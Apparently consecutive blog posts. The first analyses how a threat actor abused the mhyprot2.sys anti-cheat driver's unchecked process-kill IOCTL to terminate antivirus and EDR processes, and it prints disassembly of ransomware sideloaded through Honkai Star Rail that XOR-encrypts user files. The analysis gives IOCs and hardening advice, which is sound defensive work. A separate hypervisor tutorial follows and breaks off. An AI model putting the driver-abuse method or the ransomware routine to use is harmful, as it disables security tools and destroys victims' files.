The interesting part is the KdDisableDebugger thats in MhyChecksumForever as this new version of mhyprot implemented kernel debugger detection.

        {
            _InterlockedAdd(Gdword_14000A010, OxFFFFFFFF);
            if (v0 & 0x32 == 11 )
            {
                v3 = 0;
                KdChangeOption(0i64, 1i64, &v3, 0i64, 0i64, 0164);
                KdDisableDebugger();
                LOBYTE(KdDebuggerEnabled) = 0;
                if ( (unsigned _int8)sub_140001490() == 1 )
                    _InterlockedExchange(&dword_14009AGEC, 3);
            }
        }

The call sleeps every 100 seconds until another execution check.

NTSTATUS __fastcall MhySleepKernelThreat(int Second)
{
    LARGE_INTERGER Interval; // [rsp+38h] [rpb+10h]

    Interval.QuadPart = -10000 * Second;
    return KeDelayExecutionThread(0,0,&Interval);
}

Also MhyChecksumForever is created by MhyCreateChecksumThread which calls PsCreateSystemThread.

__int64 MhyCreateChecksumThread()
{
    __int64 v1; // [rsp+40h] [rpb-48h]
    __int64 v2; // [rsp+48h] [rpb-40h]
    int v3; // [rsp+50h] [rpb-38h]
    __int64 v4; // [rsp+58h] [rpb-30h]
    __int64 v5; // [rsp+60h] [rpb-28h]
    int v6; // [rsp+68h] [rbp-20h]
    __int128 v7; // [rsp+70h] [rpb-18h]
    __int64 v8; // [rsp+90h] [rpb+8h]

    _InterlockedExchange(&dword_14000A6E8, 0);
    v3 = 48;
    v4 = 0i64;
    v6 = 512;
    v5 = 0i64;
    v8 = 0i64;
    _mm_storeu_si128((__m128i*)&v7,(__m128i)0i64);
    PsCreateSystemThread(
        (PHANDLE)&v8,
        0,
        (POBJECT_ATTRIBUTES)&v3,
        0i64,
        (PCLIENT_ID)&v1,
        (PKSTART_ROUTINE)MhyChecksumForever,
        0i64);
    return PsLookupThreadByThreadId(v2, &gChecksumThreadHandle);
}

Process Termination

The process termination functionality in mhyprot2 is implemented through a specific IOCTL (Input/Output Control) handler. This feature allows the anti-cheat system to terminate processes, which can be used to stop cheat tools or compromised game instances.

PAGE:FFFFF800188CD0F9 cmp ebx, 81034000h    // Compare the IOCTL code with 0x81034000
PAGE:FFFFF800188CD0FF jz short loc_FFFFF800188CD16C  // Jump if equal

PAGE:FFFFF800188CD16C loc_FFFFF800188CD16C:  ; CODE XREF: sub_FFFFF800188CD000+FF↑j
PAGE:FFFFF800188CD16C mov rax, [rsp+30h]    // Load pointer to input buffer
PAGE:FFFFF800188CD171 mov ecx, [rax]        // Load process ID from input buffer
PAGE:FFFFF800188CD173 call sub_FFFFF800188C36A8  // Call process termination function
PAGE:FFFFF800188CD178 and dword ptr [rbp+1D0h+arg_20], 0

This code segment compares the provided IOCTL code with 0x81034000. If they match, it jumps to the handler for this specific IOCTL. The handler then loads the process ID from the input buffer and then calls a subroutine (sub_FFFFF800188C36A8) to handle the process termination.

In the sub_FFFFF800188C36A8 at the .text segment checks if the provided process ID (ecx) is non-null. If the process ID is null, it jumps to the return statement, effectively ending the function. But this validation routine lacks further checks, such as whether the caller has the right to terminate the specified process.

.text:FFFFF800188C36B0 sub_FFFFF800188C36B0 proc near
.text:FFFFF800188C36B0
.text:FFFFF800188C36B0 var_38          = qword ptr -38h
.text:FFFFF800188C36B0 var_30          = byte ptr -30h
.text:FFFFF800188C36B0 var_28          = qword ptr -28h
.text:FFFFF800188C36B0 var_18          = byte ptr -18h
.text:FFFFF800188C36B0 arg_0           = qword ptr  8
.text:FFFFF800188C36B0 Object          = qword ptr  10h
.text:FFFFF800188C36B0 Handle          = qword ptr  18h
.text:FFFFF800188C36B0 arg_18          = qword ptr  20h
.text:FFFFF800188C36B0
.text:FFFFF800188C36B0 ; __unwind { // __C_specific_handler
.text:FFFFF800188C36B0 test ecx, ecx   // Check if process ID is non-null
.text:FFFFF800188C36B2 jz locret_FFFFF800188C3779  ; If null, return

The actual process termination is performed using the ZwTerminateProcess function.

.text:FFFFF800188C3733 loc_FFFFF800188C3733:
.text:FFFFF800188C3735 mov rcx, [rsp+58h+Handle]  // Load process handle
.text:FFFFF800188C373A call cs:ZwTerminateProcess // Call ZwTerminateProcess

We can leverage the lack of checks here with a specially crafted request, using the specific IOCTL code and a target process ID. Since this IOCTL handler has a payload encryption measure, attackers would need to encrypt the payload.

This is exactly the same method detailed in the Trendmicro report, with the threat actor loading mhyprot2.sys using the NtOpenFile function.

ConsoleWindow = GetConsoleWindow();
ShowWindow(ConsoleWindow,0);
v4 = 0;
if (!sub_1331000())
{
    memset(Dst, 0, sizeof(Dst));
    wcscpy_s(Dst, 0x100u, L"\\Device\\");
    wcscat_s(Dst, 0x100u, mhyprot2);
    memset(&ServiceStatus.dwCurrentState,0,24);
    ServiceStatus.dwCurrentState = 24;
    v13 = 2 * wcslen(Dst);
    v12 = v13;
    BytesReturned = Dst;
    ServiceStatus.dwWin32ExitCode = &v12;
    v5 = NtOpenFile(&Handle, 0xC0100000, &ServiceStatus.dwCurrentState, &IoStatusBlock, 0, 3u);
}

Afterwards, it seems to scan the common processes that are related to Antivirus or Endpoint Detection suites. The list of targeted processes will then be passed to mhyprot2 using the DeviceIoControl function and uses control code 0x81034000 to instruct the driver to terminate the processes in the list on all threads using the ZwTerminateProcess function.

// DeviceIoControl function
    sub_1333979(v7);
if(DeviceIoControl(Handle_to_myprot2, 0x81034000, &InBuffer, 0xCu, &OutBuffer, 0xCu, &BytesReturned, 0))

// The mhyprot2.sys case function
case 0x8103400:
    sub_1400036A8(*v34);
    LODWORD(a5) = 0;

if (ProcessId)
{
    ProcessHandle = 0i64;
    Object = 0i64;
    v1 = PsLookupProcessByProcessId(ProcessId,&Object) >= 0;
    if(Object)
    {
        if(ObOpenObjectByPointer(Object,0,0i64,0,0i64,0,&ProcessHandle))
        {
            if(v1)
                ObDeferenceObject(Object);
        }
        else

// ZwTerminateProcess inside 0x81034000, which terminates a process and all of its threads
        {
            ZwTerminateProcess(ProcessHandle,0);
            ZwClose(ProcessHandle);
            if(v1 && Object)
                ObDeferenceObject(Object);
        }
    }
}

Indicators of Compromise (IOC)

• avg.msi 274685C591E96CB1F9CAE91EC8E7073F3A4CB113

• avg.exe D4FFD891B9FC1AE212489ABBA43D76E2D58E6782

• svchost.exe F47D9EC9C2515761E2BC40287B299420A86AF6AB

• logon.bat 1ED1174E6E5545AAA081A480156485156B9D3A13

• HelpPane.exe 2CF9376B057E187B9F465BDAF1C50FDBA9BA66E6

• kill_svc.exe ccb219be156551464a2b91dfc5cddaf0c3e8321f

• b.bat 7617511adda7cb03f317f0df61624b5ecbffcd87

Vulnerable Driver (BYOVD)

• mhyprot2.sys 0466E90BF0E83B776CA8716E01D35A8A2E5F96D3

To address the IOCTL vulnerability in mhyprot2's process termination functionality, several security measures should be implemented as recommended by Microsoft. When defining new IOCTL codes, it's crucial to specify a FunctionCode value that is equal to or greater than 0x800. Additionally, always specify a RequiredAccess value, as this allows the I/O manager to prevent IOCTL calls from users with insufficient access rights. It's important to avoid defining IOCTL codes that allow callers to read or write nonspecific areas of kernel memory.

In the driver's dispatch routines, it's essential to test the entire 32-bit value when examining received IOCTL codes. For enhanced security, drivers can utilize IoValidateDeviceIoControlAccess to perform stricter access checking dynamically, beyond what is specified by the RequiredAccess value in the IOCTL definition.

Buffer validation is a critical aspect of secure IOCTL processing. Never read or write more data than the buffer pointed to by Irp->AssociatedIrp.SystemBuffer can contain. Always check Parameters.DeviceIoControl.InputBufferLength or Parameters.DeviceIoControl.OutputBufferLength in the IO_STACK_LOCATION structure to determine buffer limits. For added security, always zero driver-allocated buffers that will contain data intended for the application that originated the IOCTL request. This precaution prevents accidental copying of sensitive data to the application.

For METHOD_IN_DIRECT and METHOD_OUT_DIRECT transfers, additional checks are necessary. It's important to check for a NULL return value from MmGetSystemAddressForMdlSafe, which indicates that mapping failed or that a zero-length buffer was supplied. For METHOD_NEITHER transfers, follow the specific rules provided in the "Using Neither Buffered Nor Direct I/O" documentation.

To further enhance security, consider applying explicit security descriptors when the driver is installed. In an INF file, security descriptors are described by the "Security" entry in the AddReg section. The security descriptor should be defined using the Security Descriptor Definition Language (SDDL), which includes specifications for the owner SID, group SID, discretionary access control list (DACL), and system access control list (SACL).

When creating a named device object, drivers can control the security settings of specific objects by using the IoCreateDeviceSecure function. This function allows the application of a security descriptor to the device object using a subset of the full SDDL that is appropriate for device objects. The purpose of applying specific security descriptors to device objects is to ensure that appropriate security checks are performed whenever an application attempts to access the device itself.

For devices that do not support name structure, it's important to set the FILE_DEVICE_SECURE_OPEN bit in the device characteristics field. This ensures that the I/O manager performs a full security check on the device object. Failing to set this bit correctly is a common bug in drivers and can allow inappropriate access to the device.

Honkai : Star Rail DLL Sideloading (Kransom Ransomware)

In September 2024, ANYRUN discovered a threat actor using an altered install of Honkai Star Rail to perform a DLL sideloading attack. It starts with StarRail.exe which is a signed binary by COGNOSPHERE PTE LTD (a subsidiary of HoYoverse and MiHoYo). The game itself needs admin privileges to run, as with most games especially those with kernel-level anticheats.

We can see how Honkai Star Rail was succeptible to DLL sideloading by examining the binary using dumpbin.exe on Visual Studio 2022 with the C++ Profiling Tools package enabled.

C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.41.34120\bin\Hostx86\x86>dumpbin.exe /imports C:\Users\user\Desktop\test\StarRail.exe
Microsoft (R) COFF/PE Dumper Version 14.41.34120.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file C:\Users\user\Desktop\test\StarRail.exe

File Type: EXECUTABLE IMAGE
LINK : warning LNK4078: multiple '.ace' sections found with different attributes (E0000020)

  Section contains the following imports:

    StarRailBase.dll
             1400A6AC1 Import Address Table
             1400A6AF9 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference

                             Ordinal     1

  Summary

        3000 .ace
       A3000 .ace

This output suggests that StarRail.exe is a relatively simple executable that relies on StarRailBase.dll for most of its functionality. The use of ordinal imports and the presence of .ace sections (which are not standard in typical Windows executables) indicate this might be a custom or protected executable format. ACE relates probably to Anti Cheat Expert.

In Windows, Microsoft has documented the process on how programs typically search for DLL's on its official documentation on dynamic-link library search order which states that...

If safe DLL search mode is enabled, then the search order is as follows:

1. DLL Redirection.

2. API sets.

3. SxS manifest redirection.

4. Loaded-module list.

5. Known DLLs.

6. Windows 11, version 21H2 (10.0; Build 22000), and later. The package dependency graph of the process. This is the application's package plus any dependencies specified as <PackageDependency> in the <Dependencies> section of the application's package manifest. Dependencies are searched in the order they appear in the manifest.

7. The folder from which the application loaded.

8. The system folder. Use the GetSystemDirectory function to retrieve the path of this folder.

9. The 16-bit system folder. There's no function that obtains the path of this folder, but it is searched.

10. The Windows folder. Use the GetWindowsDirectory function to get the path of this folder.

11. The current folder.

12. The directories that are listed in the PATH environment variable. This doesn't include the per-application path specified by the App Paths registry key. The App Paths key isn't used when computing the DLL search path.

Safe DLL Search Mode was introduced as a security feature starting with Windows XP Service Pack 1 and Windows Server 2003. This feature is designed to prevent DLL hijacking by altering the search order for DLLs. Specifically, it prioritizes system directories (like System32) over the current working directory, thus making it more difficult for attackers to place malicious DLLs in easy-to-access directories.

Before Safe DLL Search Mode, Windows would search the current working directory earlier, which made it easier for attackers to exploit DLL hijacking vulnerabilities. The introduction of Safe DLL Search Mode greatly reduced this risk by switching the order in which directories are searched, providing protection against this type of attack​

While this reduces the risk, it does not eliminate all vulnerabilities, especially if an attacker gains access to directories that are still part of the search order, like the application directory. This is where StarRailBase.dll comes into play, as the DLL is located in the same directory as the game.

The threat actor seems to have provided a mirror to Honkai (weird because usually they target paid games through cracks, not free-to-play games) and replaced StarRailBase.dll with a malicious version. Note that the game will execute this DLL, but it cannot launch with this DLL and will return an error saying it could not find the DLL.

The malware's entry point is an exported function named "K". This function is likely called by the game when it attempts to load the legitimate DLL. This function sets up the stack, initializes the file search with the user's directory, and then jumps to the main encryption routine.

public K
K proc near
sub rsp, 28h      // Allocate 40 bytes on the stack
lea rcx, aCUsers  // Load effective address of "C:\Users" string into rcx
call sub_18000113C  // Call function to search for files
add rsp, 28h      // Clean up the stack
jmp sub_18000102C   // Jump to another function (likely for file encryption)
K endp

The malware searches for files in the user's directory using Windows API functions. It starts in the user's AppData folder and recursively searches for all files.

sub_18000113C proc near
    // Function prologue and stack setup
    mov [rsp-8+arg_0], rbx
    mov [rsp-8+arg_8], rdi
    push rbp
    lea rbp, [rsp-280h]
    sub rsp, 380h
    mov rdi, rcx  ; Store the input parameter (likely the search path)

    // Get the user's AppData folder path
    xor r9d, r9d        ; dwFlags = 0
    lea rax, [rsp+148h+String2]
    mov [rsp+148h+pszPath], rax  ; pszPath = buffer for path
    xor r8d, r8d        ; hToken = NULL
    xor ecx, ecx        ; hwnd = NULL
    lea edx, [r9+1Ah]   ; csidl = 0x1A (CSIDL_APPDATA)
    call cs:SHGetFolderPathA

    // Construct search path by appending "\*" to user path
    lea rdx, asc_180002084  ; "\\*"
    lea rcx, [rbp+280h+String1]  ; lpString1 = user path
    call cs:lstrcatA  ; Append "\\*" to user path

    // Start file search
    lea rdx, [rsp+380h+FindFileData]  ; lpFindFileData
    lea rcx, [rbp+280h+String1]  ; lpFileName = search path
    call cs:FindFirstFileA

    mov rbx, rax  ; Store file handle

    // Check if file handle is valid
    cmp rax, 0FFFFFFFFFFFFFFFFh
    jz short loc_18000121F  ; Jump to end if invalid handle

This function uses SHGetFolderPathA to get the user's AppData folder, then uses FindFirstFileA and FindNextFileA to iterate through all files. For each file found, the malware opens it, reads its content, encrypts it, and writes it back to disk.

The encryption is a simple XOR operation with the key 0xAA. While not cryptographically secure, it's enough to render files unreadable. The encryption is a simple XOR operation with the key 0xAA. While not cryptographically secure, it's enough to render files unreadable.

sub_18000128C proc near
    mov [rsp-8+arg_0], rbx
    push rbp
    push rsi
    push rdi
    push r14
    push r15
    lea rbp, [rsp-10050h]
    mov eax, 10150h
    call __alloca_probe
    sub rsp, rax
    mov rsi, rcx  // Store filename pointer

    // Check if file already has .k extension
    call cs:lstrlenA
    cmp eax, 2
    jl short loc_1800012CF
    cdqe
    cmp byte ptr [rax+rsi-2], 2Eh ; '.'
    jnz short loc_1800012CF
    cmp byte ptr [rax+rsi-1], 6Bh ; 'k'
    jz loc_1800013E2  // Skip if already encrypted

loc_1800012CF:
    // Open the file
    and [rsp+10170h+var_10140], 0
    xor r9d, r9d  ; lpSecurityAttributes = NULL
    mov [rsp+10170h+dwFlagsAndAttributes], 80h  ; FILE_ATTRIBUTE_NORMAL
    mov edx, 0C0000000h  ; GENERIC_READ | GENERIC_WRITE
    mov rcx, rsi  ; lpFileName
    mov [rsp+10170h+dwCreationDisposition], 3  ; OPEN_EXISTING
    lea r8d, [r9+1]  ; dwShareMode = FILE_SHARE_READ
    call cs:CreateFileA

    mov r14, rax  ; Store file handle
    cmp rax, 0FFFFFFFFFFFFFFFFh
    jz loc_1800013E2  ; Jump if file open failed

    // Initialize encryption loop variables
    and dword ptr [rbp+10070h+liDistanceToMove], 0
    xor eax, eax
    mov dword ptr [rbp+10070h+liDistanceToMove+4], eax
    xor r15d, r15d
    mov rbx, qword ptr [rbp+10070h+liDistanceToMove]

loc_180001320:  // Start of encryption loop
    // Read file content
    and qword ptr [rsp+10170h+dwCreationDisposition], 0
    lea r9, [rbp+10070h+NumberOfBytesRead]  
    mov r8d, 10000h  
    lea rdx, [rbp+10070h+Buffer]  
    mov rcx, r14  // hFile
    call cs:ReadFile

    test eax, eax
    jz short loc_1800013AB  // Jump if read failed
    mov eax, [rbp+10070h+NumberOfBytesRead]
    test eax, eax
    jz short loc_1800013AB  // Jump if no bytes read

    // Prepare for encryption
    mov edi, 80000h
    lea rcx, [rbp+10070h+Buffer]
    sub rdi, r15
    cmp rax, rdi
    cmovb rdi, rax
    mov rdx, rdi
    call sub_180001400  // Call encryption function (XOR)

    // Set file pointer back
    mov rdx, rbx  
    mov rcx, r14  
    xor r9d, r9d  
    xor r8d, r8d  
    call cs:SetFilePointerEx

    // Write encrypted content back to file
    and qword ptr [rsp+10170h+dwCreationDisposition], 0
    lea r9, [rbp+10070h+NumberOfBytesWritten]  
    mov r8d, edi
    lea rdx, [rbp+10070h+Buffer]
    mov rcx, r14 
    call cs:WriteFile

    // Update loop variables and continue if not finished
    add rbx, rdi
    add r15, rdi
    cmp r15, 80000h
    jb loc_180001320

loc_1800013AB:  // Cleanup and rename file
    mov rcx, r14  
    call cs:CloseHandle

    // Rename file (add .k extension)
    mov rdx, rsi  // lpString2 (original filename)
    lea rcx, [rsp+10170h+String1]  // lpString1 (buffer for new name)
    call cs:lstrcpyA

    lea rdx, aK_0  // ".k"
    lea rcx, [rsp+10170h+String1]  // lpString1 (buffer with new name)
    call cs:lstrcatA

    lea rdx, [rsp+10170h+String1]  // lpNewFileName
    mov rcx, rsi  // lpExistingFileName
    call cs:MoveFileA

loc_1800013E2:  // Function epilogue
    mov rbx, [rsp+10170h+arg_0]
    add rsp, 10150h
    pop r15
    pop r14
    pop rdi
    pop rsi
    pop rbp
    retn
sub_18000128C endp

// XOR encryption function
sub_180001400 proc near
    test rdx, rdx
    jz short locret_180001411

loc_180001405:
    xor byte ptr [rcx], 0AAh
    inc rcx
    sub rdx, 1
    jnz short loc_180001405

locret_180001411:
    retn
sub_180001400 endp

At the end, the malware includes a hardcoded message.

RansomMessage:
    db "I believe you encountered some problems. "
    db "Email to to hoyoverse for solutions."

Its clear that from the simple encryption method and the hardcoded message seems to lack a clear motive other than being distruptive or the finale of a prank, that this isn't really a serious piece of ransomware. Yet the fact that HoYoverse didn't think to put safeguards to check the validity of the DLL running is, interesting.

For Windows 8 and later (or Windows 7 with KB2533623 installed), the LoadLibraryEx function offers enhanced control over DLL loading. This native Windows API function provides several new flags designed to improve security and specificity in DLL loading.

Some notable flags include:

• LOAD_LIBRARY_SEARCH_APPLICATION_DIR: Searches the application's directory.

• LOAD_LIBRARY_SEARCH_SYSTEM32: Searches the System32 directory.

• LOAD_LIBRARY_SEARCH_USER_DIRS: Searches user-defined directories.

• LOAD_LIBRARY_REQUIRE_SIGNED_TARGET: Ensures the loaded library is digitally signed.

• LOAD_LIBRARY_SAFE_CURRENT_DIRS: Safely searches current directories.

These flags allow developers to specify exact search locations for DLLs. It also enhances security by requiring digital signatures.

Conclusion

Honestly, vulnerable drivers aren't rare and so are DLL sideload attacks. This is not to say that HoYoverse is incompetent, but perhaps more of an illustration on how big they have gotten as a cultural centerpiece. Which is a good thing.

Threat Actors leveraging HoYoverse tools and infrastructure will definitely grow, as the game is frequented by younger folks who are in prime internship age. Usually companies mandate interns to bring their own devices to work, and these devices can log into SSO systems and internal networks without being covered by an EDR solution making them a good soft target for threat actor.

Its infrastructure has also been somewhat of an interesting specimen, especially with a recent report from Kaspersky's GReAT stating that a threat actor has been targeting users of DingTalk and WeChat Enterprise with malware that was downloaded from MiHoYo servers.

Personally I'm excited for whats next, I'm all for commissioning more art of gacha women for my blogpost thats for sure.

Cover Illustration by t0meku

Traditionally, x86 processors lacked built-in virtualization support, leading to significant challenges when implementing efficient Virtual Machine Monitors (VMMs) or hypervisors.

But then Intel made Intel VT as a hardware-based solution for virtualization acceleration. With VT-x, Intel aimed to reduce hypervisor complexity by offloading certain virtualization tasks to hardware, VT-x allows for the development of simpler, more reliable VMMs.

This hardware solution also improves separation between different virtual machines and between virtual machines and the VMM, crucial for security and stability in multi-tenant environments.

In this article, I'll be developing a hypervisor using Intel's VT-x virtualization technology because i got bored i guess idk and i tried reading the Intel Architecture SDM documentation. But i must say i wasn't strong enough to thug it all out and some parts of this article is also based on this Sina Karvandi's tutorial on how to build a Hypervisor from scratch with Intel VT.

Verify CPU support for VT-x

The VMM (Virtual Machine Monitor) startup process is described in detail in Chapter 31.5 of the Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3C: System Programming Guide, Part 3, Section 31.5.

But to enable and initialize virtualization technology (VT) on a CPU, we must first verify VT support using the cpuid command and specific MSR registers. Next, allocate 4KB-aligned non-paged memory for the vmxon area, with the size specified in the IA32_VMX_BASIC register.

Then we initialize the vmxon area by setting its version number, obtained from the lower 4 bytes of IA32_VMX_BASIC (typically 1). Then, configure cr0 and cr4 registers according to the requirements set by IA32_VMX_CR0_FIXED0, IA32_VMX_CR0_FIXED1, IA32_VMX_CR4_FIXED0, and IA32_VMX_CR4_FIXED1 registers.

We need to then ensure the IA32_FEATURE_CONTROL register is correctly set, with bits 0 and 2 both set to 1. This can be verified by reading the register and performing a bitwise AND with 5. Finally, execute the vmxon instruction, passing a pointer to the physical address of the vmxon area. The instruction's success is indicated by rflags.cf=0, while failure results in rflags.cf=1.

// Check if BIOS has enabled VT
BOOLEAN VmxIsCheckSupportVTBIOS(VOID)
{
    ULONG64 value = __readmsr(IA32_FEATURE_CONTROL);
    return (value & 0x5) == 0x5;
}

// Check if CPU supports VT
BOOLEAN VmxIsCheckSupportVTCPUID(VOID)
{
    int cpuidInfo[4];
    __cpuidex(cpuidInfo, 1, 0);
    // CPUID ECX.VMX[bit 5] = 1 if VT is supported
    return (cpuidInfo[2] & (1 << 5)) != 0;
}

// Check if VT is enabled in CR4
BOOLEAN VmxIsCheckSupportVTCr4(VOID)
{
    ULONG64 cr4 = __readcr4();
    // CR4.VMXE[bit 13] = 1 if VT is enabled
    return (cr4 & (1 << 13)) != 0;
}

VOID CheckVT(VOID)
{
    KIRQL oldIrql;
    PROCESSOR_NUMBER procNumber;
    KeGetCurrentProcessorNumberEx(&procNumber);
    oldIrql = KeRaiseIrqlToDpcLevel();

    if (VmxIsCheckSupportVTCPUID())
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL,
            "[INFO]: CPU supports VT (Processor %u:%u)\n",
            procNumber.Group, procNumber.Number);
    }
    if (VmxIsCheckSupportVTBIOS())
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL,
            "[INFO]: BIOS has enabled VT (Processor %u:%u)\n",
            procNumber.Group, procNumber.Number);
    }
    if (VmxIsCheckSupportVTCr4())
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL,
            "[INFO]: VT is enabled in CR4 (Processor %u:%u)\n",
            procNumber.Group, procNumber.Number);
    }

    KeLowerIrql(oldIrql);
}

VMXON Execution

Next we're gonna need to start with VMXON Execution, which transitions the logical processor from normal operation into VMX root operation. We first need to allocate a 4KB-aligned, non-paged memory block for the VMXON region. This alignment is crucial for the proper functioning of virtualization features, and non-paged memory ensures that the VMXON region is always accessible and not swapped out to disk.

To allocate this memory, you typically use a function like MmAllocateContiguousMemorySpecifyCache. This function allows you to specify the size of the allocation (which should be PAGE_SIZE, or 4KB), as well as the physical address range within which the allocation should occur.

PHYSICAL_ADDRESS lowPhys, highPhys;
lowPhys.QuadPart = 0;
highPhys.QuadPart = -1;
pVcpu->VmxOnRegion = MmAllocateContiguousMemorySpecifyCache(PAGE_SIZE, lowPhys, highPhys, MmCached);
if (!pVcpu->VmxOnRegion)
{
    // Handle allocation failure
    return STATUS_INSUFFICIENT_RESOURCES;
}

pVcpu->VmxOnRegionPhys = MmGetPhysicalAddress(pVcpu->VmxOnRegion);

We can set the lower bound of the physical address to 0 and the upper bound to -1 (which effectively means the highest possible address), allowing the system to allocate the memory anywhere in physical memory that meets our requirements.

Once the memory is allocated, it needs to be properly initialized. This process is described in detail in section 25.11.5 of the Intel Software Developer's Manual. The VMXON region is a block of memory that will be used by the operating system to manage the virtual machine.

After allocating the memory, you need to use a function like rtlzeromemory to clear the entire region. This step is crucial to prevent any potential issues caused by leftover data in the memory pages. All bits in this region should be set to zero, with one important exception: the first four bytes of the VMXON region.

The first four bytes of the VMXON region must be filled with the VMX revision identifier. This identifier is stored in the IA32_VMX_BASIC Model Specific Register (MSR). You can read this MSR and use its lower 32 bits as the revision identifier.

ULONG64 vmxBasic = __readmsr(IA32_VMX_BASIC);
*(PULONG)pVmxonRegion = (ULONG)vmxBasic;

It's worth noting that the lower 4 bytes of this register typically contain the value 1. However, this may change in future CPU versions, so it's always best to read the actual value from the MSR rather than hardcoding it.

The VMXON region has several important requirements that must be met:

1. It must be 4KB aligned, which we ensured during the memory allocation step.

2. It should not set any bits beyond the processor's physical address width. This is typically not an issue if you're using the allocation method described above.

3. The first 4 bytes should contain the VMCS revision identifier, which we set using the code above.

Before executing VMXON, we must configure the CR0 and CR4 control registers according to the requirements specified by four MSRs: IA32_VMX_CR0_FIXED0, IA32_VMX_CR0_FIXED1, IA32_VMX_CR4_FIXED0, and IA32_VMX_CR4_FIXED1.

For CR0, any bit that is set to 1 in IA32_VMX_CR0_FIXED0 must be set to 1 and any bit that is set to 0 in IA32_VMX_CR0_FIXED1 must be set to 0. Similarly, for CR4, any bit that is set to 1 in IA32_VMX_CR4_FIXED0 must be set to 1 and any bit that is set to 0 in IA32_VMX_CR4_FIXED1 must be set to 0. To implement these rules, you would typically read the current values of CR0 and CR4, read the values of the fixed MSRs, and then adjust CR0 and CR4 accordingly.

ULONG64 cr0 = __readcr0();
ULONG64 cr4 = __readcr4();
ULONG64 cr0_fixed0 = __readmsr(IA32_VMX_CR0_FIXED0);
ULONG64 cr0_fixed1 = __readmsr(IA32_VMX_CR0_FIXED1);
ULONG64 cr4_fixed0 = __readmsr(IA32_VMX_CR4_FIXED0);
ULONG64 cr4_fixed1 = __readmsr(IA32_VMX_CR4_FIXED1);

cr0 = (cr0 | cr0_fixed0) & cr0_fixed1;
cr4 = (cr4 | cr4_fixed0) & cr4_fixed1;

__writecr0(cr0);
__writecr4(cr4);

This code ensures that all required bits are set in CR0 and CR4, and all bits that must be clear are cleared, while preserving the values of other bits that don't need to be changed. After completing all those steps, we are finally ready to execute the VMXON instruction.

int error = __vmx_on(&pVmxonRegion->PhysicalAddress.QuadPart);

The __vmx_on function is an intrinsic provided by most compilers that support Intel VT-x. It takes a pointer to the physical address of the VMXON region we prepared earlier.

It's important to note that there are additional checks and requirements specified in the Intel manual, particularly in section 26.3.1.1.

• The IA32_FEATURE_CONTROL MSR must be properly configured to allow VMXON to execute.

• Bit 5 of CR4 (corresponding to Physical Address Extension) must be set to 1 for VMXON to succeed. The CR0 bits corresponding to Protected Mode (bit 0) and Paging (bit 31) must also be set to 1.

• The IA32_FEATURE_CONTROL_MSR must be properly configured to allow VMXON to execute. Specifically, bit 0 (the lock bit) must be set, and either bit 1 (enabling VMXON outside of SMX operation) or bit 2 (enabling VMXON inside SMX operation) must be set, depending on your specific use case.

• If you're operating in 64-bit mode, you need to ensure that the IA32_EFER.LMA bit is set to 1, indicating that the processor is in IA-32e mode.

These additional checks and requirements ensure that the processor is in the correct state to begin VMX operation. Failing to meet any of these requirements will cause the VMXON instruction to fail, potentially with a #GP (General Protection) exception.

Allocating VMCS Memory and VMCLEAR Execution

After entering VMX operation mode, we then need to set up the Virtual Machine Control Structure (VMCS). The VMCS is a data structure in memory that controls the behavior of a virtual machine in Intel VT-x. It stores the guest state, host state, and control information for a virtual machine.

This process bears similarities to the allocation of the VMXON region, but it comes with its own set of specific requirements. The memory allocated for the VMCS must be 4KB aligned and non-paged, ensuring that it remains accessible at all times and isn't swapped out to disk. This alignment and memory type are crucial for the proper functioning of the virtualization features.

Once the memory is allocated, it needs to be initialized. The first 4 bytes of this newly allocated memory block play a special role. They must be filled with the lower 4 bytes of the IA32_VMX_BASIC Model Specific Register (MSR). This initialization step is critical as it sets up the VMCS with the correct version identifier, ensuring compatibility with the processor's VMX implementation.

The VMCS is a complex data structure that will eventually store a wide array of information about the virtual machine. This includes various registers, control areas, and even the vmexit control area. However, at this stage, we're only setting up the basic structure. The detailed configuration of these areas will come later, through the use of the VMWRITE instruction.

PHYSICAL_ADDRESS lowPhys, highPhys;
lowPhys.QuadPart = 0;
highPhys.QuadPart = -1;
pVcpu->VmcsRegion = MmAllocateContiguousMemorySpecifyCache(PAGE_SIZE, lowPhys, highPhys, MmCached);
if (!pVcpu->VmcsRegion)
{
    // Handle allocation failure
    return STATUS_INSUFFICIENT_RESOURCES;
}

RtlZeroMemory(pVcpu->VmcsRegion, PAGE_SIZE);
pVcpu->VmcsRegionPhys = MmGetPhysicalAddress(pVcpu->VmcsRegion);

// Initialize VMCS with revision identifier
ULONG64 vmxBasic = __readmsr(IA32_VMX_BASIC);
*(PULONG)pVcpu->VmcsRegion = (ULONG)vmxBasic;

After allocating and performing the basic initialization of the VMCS memory, the next step in our process is to use the VMCLEAR instruction. VMCLEAR serves several important purposes in the setup of our virtual machine environment. First, it initializes the VMCS, setting its launch state to "clear". This is a necessary step before the VMCS can be used for a virtual machine. Second, VMCLEAR invalidates any cached VMCS data that the processor might be holding from previous uses of this VMCS. This ensures that we're starting with a clean slate. Finally, VMCLEAR ensures that all VMCS data is written to the VMCS region in memory, maintaining data consistency.

The VMCLEAR instruction is relatively simple to use. It takes a pointer to the physical address of the VMCS as its operand.

int error = __vmx_vmclear(&pVcpu->VmcsRegionPhys.QuadPart);
if (error)
{
    // Handle VMCLEAR failure
    return STATUS_UNSUCCESSFUL;
}

It's crucial to check the return value of VMCLEAR. If it fails, it's an indication that something has gone wrong in our VMX setup, and we should not proceed with further VMX operations using this VMCS. Only then we go make this VMCS the current VMCS using the VMPTRLD instruction:

cCopyerror = __vmx_vmptrld(&pVcpu->VmcsRegionPhys.QuadPart);
if (error)
{
    // Handle VMPTRLD failure
    return STATUS_UNSUCCESSFUL;
}

This step is crucial because it makes the VMCS active and current, allowing us to use VMREAD and VMWRITE instructions to configure it in the subsequent steps.

Setup VMCS

As the VMCS acts as the interface between the hypervisor and VM, controlling how the virtual environment operates, we need to configure VMCS fields to determine the guest's perceived hardware state and set rules for VM exits and entries.

Chapter 24.3 of the Intel white paper describes the fields in the VMCS control area in detail. As mentioned in the previous article, the vmcs fields that need to be set are:

